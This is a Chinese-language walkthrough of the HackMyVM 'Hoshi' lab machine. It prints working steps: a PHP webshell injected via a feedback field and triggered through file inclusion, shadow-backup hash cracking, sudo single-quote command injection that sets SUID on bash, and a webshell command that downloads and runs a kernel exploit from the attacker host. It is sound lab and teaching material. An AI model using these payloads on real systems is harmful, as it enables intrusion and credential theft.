HackMyVM Hoshi 通关记录|盲水印、LFI 文件包含与 sudo 注入提权
靶机链接:Hoshi
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Hoshi | 192.168.1.112 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键操作 | 结果 |
|---|---|---|
| 服务发现 | RustScan → Nmap 识别 SSH + Apache/PHP | 确定 80 端口为主攻击面 |
| 隐写分析 | robots.txt → BlindWaterMark → 两张 QQ.png 提取盲水印 | 水印文字 "hoshi" |
| 目录爆破 | 基于 "hoshi" 爆破 → /hoshi/ | 发现 gift.php LFI + admin.html 静态生成 |
| 密码获取 | sitemap.xml 提示 + 首页客服电话 | 400-123-4567 = admin 密码 |
| 代码执行 | 反馈昵称 PHP 一句话 → 登录 admin 生成 admin.html → gift.php LFI 包含 admin.html → CWD 写入 webshell | www-data RCE |
| 凭据窃取 | /var/backups/shadow~(world-readable)→ welcome SHA-512 哈希 | john + rockyou → welcome:loveme2 |
| 横向移动 | SSH welcome → sudo -l | NOPASSWD: python3 /root/12345.py |
| 本地提权 | 12345.py exec_cmd 单引号注入 → chmod +s /bin/bash | bash -p → root |
| 备用提权 | 内核 4.19 命中 Copy Fail | 页缓存投毒 su → root |
0x02 侦察与信息收集 (Reconnaissance)
1. 端口扫描
rustscan -a 192.168.1.112 --ulimit 5000 -- -sC -sV
Open 192.168.1.112:22
Open 192.168.1.112:80
| 端口 | 服务 | 指纹 |
|---|---|---|
22/tcp | SSH | OpenSSH 8.4p1 Debian 5+deb11u3 |
80/tcp | HTTP | Apache/2.4.62 (Debian) PHP 8.3.19 |
2. Web 枚举
首页 index.php 是「商品反馈 - 星际商城」留言板,涵盖昵称、邮箱、商品名称、反馈内容四个字段。
手动 + gobuster 枚举关键路径:
| 路径 | 状态 | 发现 |
|---|---|---|
/info.php | 200 | phpinfo() 完整输出:PHP 8.3.19,无 disable_functions,无 open_basedir |
/robots.txt | 200 | 隐写线索(见下文) |
/sitemap.xml | 200 | 安全提示(见下文) |
/admin.php | 200 | 管理后台,单密码框 |
/uploads/ | 200 | 目录列表开启 |
3. robots.txt → BlindWaterMark
User-agent: https://maze-sec.com
Disallow: /img/QQ.png
# Note: `Blind` in the storm, yet stars guide through the `water`.
(38 行空行)
Sitemap: /sitemap.xml
回引号 `Blind` 和 `water` → BlindWaterMark 盲水印工具。Disallow: /img/QQ.png 和 User-agent: https://maze-sec.com 提示需要对比两张 QQ.png。
注意: robots.txt 中写的是
/img/QQ.png,但靶机上/img/目录实际 404;真正的水印图位于/QQ.png(web 根目录)。可以直接通过审查首页源码<img src="QQ.png" alt="StarMall Logo">发现它的真实位置。这是靶机的故意误导。
# 下载原图(maze-sec.com 真实网站)和靶机水印图
# (若实验环境中无法访问外网 maze-sec.com,需要提前准备好原图 QQ_original.png)
curl -o QQ_original.png https://maze-sec.com/img/QQ.png # 1619330B,有 EXIF/sRGB
curl -o QQ_target.png http://192.168.1.112/QQ.png # 1544103B,无 EXIF,有蓝色左边界
# 靶机图片实际在 /QQ.png 而非 /img/QQ.png
# 提取盲水印
git clone https://github.com/chishaxie/BlindWaterMark.git
python3 BlindWaterMark/bwmforpy3.py decode QQ_original.png QQ_target.png wm.png
提取的水印肉眼可见 "hoshi"(日语"星"),对应主机名 hoshi.lan。
4. hoshi → /hoshi/ 目录 → gift.php LFI
基于水印 "hoshi" 爆破目录。ffuf 的常用参数和参数发现思路可参考知识库:ffuf Web Fuzz 与参数发现。
ffuf -u http://192.168.1.112/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php -fc 404 -t 50
发现 /hoshi/ 目录,其中 gift.php 存在文件包含漏洞:
curl http://192.168.1.112/hoshi/gift.php?file=admin.php
# 返回 admin.php 渲染后的 HTML(gift.php 的 include 基路径为 /var/www/html/)
gift.php 限制条件:
| 允许 | 禁止 |
|---|---|
[a-zA-Z0-9_.-] 字符 | /、..、php:// 伪协议 |
include 基路径为 /var/www/html/ | 路径遍历 |
被包含的 PHP 代码被执行(CWD = /var/www/html/hoshi/) | — |
这类受限 LFI 的关键是确认包含基路径、可控文件名字符集和被包含文件是否会被 PHP 解析。通用排查清单可参考知识库:LFI 任意文件读取与运行时信息收集。
5. sitemap.xml → 密码线索
Admins, please don't use any easily guessable info as passwords.
Simply setting an element to "display:none" is not secure.
Remember to remove debug information completely for security.
三条提示:
- 密码可猜测 → 首页客服电话
400-123-4567即密码 - display:none 不保险 → 后台底部有隐藏
[debug]信息 - debug 信息未清理 → 登录后生成
admin.html包含调试内容
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. admin.php 弱凭据登录与静态页面生成
首页显示的客服电话 400-123-4567 实际上就是管理员密码。我们可以先获取 session cookie 并进行登录:
# 先获取 session cookie
curl -c cookie.txt http://192.168.1.112/admin.php
# 登录
curl -b cookie.txt -X POST http://192.168.1.112/admin.php \
-d "password=400-123-4567"
登录成功后通过 gift.php LFI 读取 admin.php 源码确认:
$admin_password = '400-123-4567';
if ($_POST['password'] === $admin_password) {
// 登录成功
}
后台底部存在 display:none 的 <div>:
<div style="display:none" id="static-tip">[debug] 静态页面已生成</div>
登录后 /var/www/html/admin.html(web 根目录,而非 /hoshi/)被静态写入,内容为管理员仪表板(反馈统计 + 文件列表)。其中 Name 行的原始 PHP 代码被未编码地嵌入 HTML,为后续 LFI 触发执行埋下伏笔。
2. 反馈表单 PHP 代码注入点分析
反馈表单生成的 .txt 文件中,仅 Name 行(username 字段)保留原始值,不做 HTML 编码:
=== Feedback Details ===
Name: <?php 此处原样保留 ?>
Email: <?php 此处被 HTML 编码 ?>
Product: <?php 同上 ?>
Feedback: <?php 同上 ?>
================
admin.php 登录后会读取这些 .txt 文件并生成 admin.html 静态页面,其中 Name 行的原始 PHP 代码被直接写入 HTML 而未编码。随后通过 gift.php LFI 包含 admin.html 时,PHP 引擎执行嵌入的代码,CWD 为 gift.php 所在的 /var/www/html/hoshi/。任意写 WebShell 的落点判断可参考知识库:任意文件写入到 WebShell。
0x04 核心攻击链:代码注入与 LFI 获取初始权限
1. 构造 webshell 与触发执行
webshell 代码需要用 base64_decode 避免内层 <?php 提前闭合外层标签:
# Step 1: 获取 session
curl -c cookie.txt http://192.168.1.112/
# Step 2: 反馈昵称注入 PHP 一句话
# base64: PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+ = <?php system($_GET['c']);?>
# 必须使用 --data-urlencode,否则 base64 末尾的 + 号会被当作空格截断
curl -b cookie.txt -X POST http://192.168.1.112/index.php \
--data-urlencode "username=<?php file_put_contents('s.php',base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+'));echo 'SHELL_OK';?>" \
--data-urlencode "email=a@a.com" \
--data-urlencode "product=a" \
--data-urlencode "feedback=a"
检查 /uploads/ 确认 .txt 已生成:
curl http://192.168.1.112/uploads/
%3c%3fphp%20file_put_contents...%3f%3e_20260601135604.txt ← PHP 代码可见
触发 webshell 执行:
# Step 3: 登录 admin.php → 生成 admin.html(Name 行 PHP 代码被原样写入)
curl -c cookie_admin.txt http://192.168.1.112/admin.php
curl -b cookie_admin.txt -X POST http://192.168.1.112/admin.php \
-d "password=400-123-4567"
# Step 4(关键步骤): 通过 gift.php LFI 包含 admin.html → 触发 PHP 执行
# admin.html 生成在 web 根目录,gift.php 的 include 基路径恰好是 /var/www/html/
curl 'http://192.168.1.112/hoshi/gift.php?file=admin.html'
# 此时 PHP 引擎处理 admin.html 中嵌入 of <?php file_put_contents('s.php',...) ?>
# CWD = /var/www/html/hoshi/ → s.php 写入 /var/www/html/hoshi/s.php
# Step 5: 验证 webshell
curl 'http://192.168.1.112/hoshi/s.php?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
2. shadow~ 备份泄露与 Hash 破解
通过 Webshell 枚举敏感备份文件:
curl 'http://192.168.1.112/hoshi/s.php' --get --data-urlencode 'c=ls -la /var/backups/shadow* 2>&1'
-rw-r--r-- 1 root root 943 Mar 30 2025 /var/backups/shadow~
注意: 靶机上实际泄露的文件是
shadow~(dpkg 自动备份,权限644world-readable),而非shadow.bak(不存在)。
读取 shadow~ 文件内容:
curl 'http://192.168.1.112/hoshi/s.php' --get --data-urlencode 'c=cat /var/backups/shadow~ 2>&1' | grep -v ':\*:\|:!:'
root:$6$TfSlMzl8/eUh9mY0$wVygBx94VuTMRZq016O3IPG2mn1e.MFz2WKK.pACuy/Sa1dTHqu0vWtbTBrt/Q8dIWGBeYrY90ERemhYElKHv1:20190:0:99999:7:::
welcome:$6$geD2QaGnx/AiHPAb$8ihVmhNA1GIUFbAkCuUp.KzsUuzAztIlrYNbPFoyORE9U9dsf/L13AuCNpqkJSxu0HG4ltlhJFJKU2Y1Gj8Sg.:20259:0:99999:7:::
额外发现:
shadow~中同时包含 root 的密码哈希。不过本文没有验证 root 哈希破解结果可以成功su root,因此不把它写成可用 root 密码或提权路径。
使用 john 破解 welcome 用户哈希:
echo 'welcome:$6$geD2QaGnx/AiHPAb$8ihVmhNA1GIUFbAkCuUp.KzsUuzAztIlrYNbPFoyORE9U9dsf/L13AuCNpqkJSxu0HG4ltlhJFJKU2Y1Gj8Sg.' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
welcome:loveme2
shadow~ 中的 root 哈希只说明敏感备份泄露范围更大;没有成功登录或 su 的回显前,不应把 john 的候选结果当作已验证凭据。
3. SSH 初始访问与 User Flag
使用得到的凭据进行 SSH 登录:
sshpass -p 'loveme2' ssh welcome@192.168.1.112
登录成功后读取 user flag:
welcome@hoshi:~$ cat user.txt
flag{user-50c96546cc54b4adc381c77a0189b1e7}
0x05 权限提升 (Privilege Escalation)
路线总览
在 welcome 用户权限下,我们可以通过以下两条路线提升至 root:
| 路线 | 核心条件 | 结果 |
|---|---|---|
| 路线 A:sudo 单引号注入提权 | 存在可 NOPASSWD 执行的 Python 脚本 /root/12345.py,其内部存在命令单引号注入 | 提权至 root 并获取 root flag |
| 路线 B:Copy Fail 内核提权 | 内核版本为 4.19.0-27-amd64,命中 Copy Fail (CVE-2026-31431) | 页缓存投毒覆写 SUID 工具直接拿 root |
路线 A:sudo 单引号注入提权
A.1 12345.py 漏洞分析
检查当前用户可运行的 sudo 命令:
welcome@hoshi:~$ sudo -l
User welcome may run the following commands on hoshi:
(ALL) NOPASSWD: /usr/bin/python3 /root/12345.py
/root/12345.py 是一个 Python socket 服务,监听 12345 端口,提供 exec_cmd 功能。
漏洞代码:
def exec_cmd(cmd, client_addr):
# 正则过滤:禁止 ; | < >
if re.search(r'[;|<>]', cmd):
return error
# 白名单:只允许 4 个命令
allowed_cmds = ["whoami", "pwd", "date", "id"]
base_cmd = cmd.split("'")[0].strip() # ← BUG: 只检查第一个 ' 前的内容
if base_cmd not in allowed_cmds:
return error
# 拼接进 sh -c(单引号可闭合!)
full_cmd = f"sh -c '{cmd}'"
result = subprocess.run(full_cmd, shell=True, ...)
绕过分析:
| 检查 | 如何绕过 |
|---|---|
re.search(r'[;|<>]', cmd) | #、&、' 均不在黑名单 |
cmd.split("'")[0] | 单引号前为 whoami,在白名单内 |
sh -c '{cmd}' | 单引号闭合字符串,&& 后的命令在引号外执行 |
A.2 Exploit 注入提权
# 启动服务(sudo 以 root 运行)
welcome@hoshi:~$ sudo python3 /root/12345.py &
[1] 1234
# Python socket 连接并注入
welcome@hoshi:~$ python3 << 'EOF'
import socket
s = socket.socket()
s.connect(("127.0.0.1", 12345))
s.recv(1024) # conf>
# base_cmd = "whoami" → 白名单通过
# sh -c 'whoami' && chmod +s /bin/bash #'
# # 注释掉尾部引号,chmod 以 root 执行
s.send(b"exec_cmd whoami' && chmod +s /bin/bash #\n")
print(s.recv(4096).decode())
s.close()
EOF
Response: root
A.3 Root flag
welcome@hoshi:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
welcome@hoshi:~$ /bin/bash -p -c 'id; cat /root/root.txt'
uid=1000(welcome) gid=1000(welcome) euid=0(root) egid=0(root) groups=0(root),1000(welcome)
flag{root-c7d8a66bcc0b7cccaeb44b9524545f45}
路线 B:Copy Fail 内核提权
靶机内核 4.19.0-27-amd64 命中 CVE-2026-31431(Copy Fail)。AF_ALG + splice 页缓存投毒覆写 /usr/bin/su,execve 时获得 root。漏洞原理和通用利用方式见知识库:CVE-2026-31431 Copy Fail Linux 内核提权。
# 攻击机分发预编译 exploit
cd /home/kali/tools/copy-fail-c
python3 -m http.server 9999 &
# 靶机 webshell 下载(URL 中 / : 等字符用 chr() 构造避免被截断)
curl 'http://192.168.1.112/hoshi/s.php?c=python3%20-c%20"import%20urllib.request;open(%27/tmp/exploit%27,%27wb%27).write(urllib.request.urlopen(%27http://192.168.1.113:9999/exploit%27).read())"'
# 执行
curl 'http://192.168.1.112/hoshi/s.php?c=chmod%20%2Bx%20/tmp/exploit%20%26%26%20/tmp/exploit'
[+] target: /usr/bin/su
[+] payload: 1408 bytes (352 iterations)
[+] page cache mutated; exec'ing target
curl 'http://192.168.1.112/hoshi/s.php?c=echo%20id%20%7C%20su'
uid=0(root) gid=0(root) groups=0(root),33(www-data)
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/welcome/user.txt - 内容:
flag{user-50c96546cc54b4adc381c77a0189b1e7}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-c7d8a66bcc0b7cccaeb44b9524545f45}
0x07 敏感文件清单
| 文件 | 权限 | 用途 |
|---|---|---|
/var/backups/shadow~ | root:root 644 | root + welcome SHA-512 密码哈希(world-readable,关键泄露点) |
/var/backups/passwd.bak | root:root 600 | 系统用户列表 |
/root/12345.py | root:root 755 | Python socket 服务,sudo NOPASSWD 提权入口 |
/root/congrats.txt | root:root 644 | CTF 出题人祝贺留言 |
/opt/server.conf | root:root 644 | 空配置(12345.py 写入目标) |
/opt/server.log | root:root 644 | 空日志(12345.py 日志) |
/etc/cron.d/php | root:root 644 | PHP session 清理 cron |
/etc/apache2/sites-enabled/000-default.conf | — | uploads 目录 AllowOverride All |
复盘总结
-
隐写线索是高质量引导。 回引号
`Blind``water`→ BlindWaterMark → "hoshi" →/hoshi/目录,一条线索串联三个阶段。 -
密码在最显眼处。
sitemap.xml说「不要用容易猜到的信息」,而400-123-4567就写在首页黄色大字里。安全提示 + 页面信息的组合是获取 admin 权限的唯一钥匙。 -
Name 行未编码是 RCE 唯一入口。 反馈表单四个字段三个做了 HTML 编码,唯独 username 在
.txt文件和admin.html中保留原始<?php标签。但 admin.php 本身不会执行嵌入代码——需要通过 gift.php LFI 包含 admin.html 才能触发 PHP 引擎解析。 -
admin.html 落点 + gift.php include 路径的巧合。 admin.html 被写入
/var/www/html/(web 根),而 gift.php 的 include 基路径恰好也是/var/www/html/,因此gift.php?file=admin.html命中。PHP 执行时 CWD 是/var/www/html/hoshi/(gift.php 所在目录),所以相对路径file_put_contents('s.php', ...)写入到/hoshi/s.php。 -
shadow~ 而非 shadow.bak。 实际泄露文件是
/var/backups/shadow~(dpkg 自动备份,权限644world-readable),而非shadow.bak(不存在)。shadow~同时包含 root 哈希,但没有成功su root的验证回显前,只能作为敏感泄露风险记录,不能写成可用 root 密码。 -
--data-urlencode不可省略。 base64 字符串PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+末尾的+号在curl -d中会被解码为空格,导致 payload 损坏。必须使用--data-urlencode。 -
字符串拼接 + shell 包装 = 经典注入。
split("'")[0]只验单引号前内容,sh -c '{cmd}'又用单引号包装,两个机制叠加让黑名单正则 (;|<>) 形同虚设。 -
两条已验证 root 路径。 本文保留两条有命令和回显支撑的 root 路线:① sudo
12345.py单引号注入(主线);② 内核 4.19 Copy Fail(通用备选)。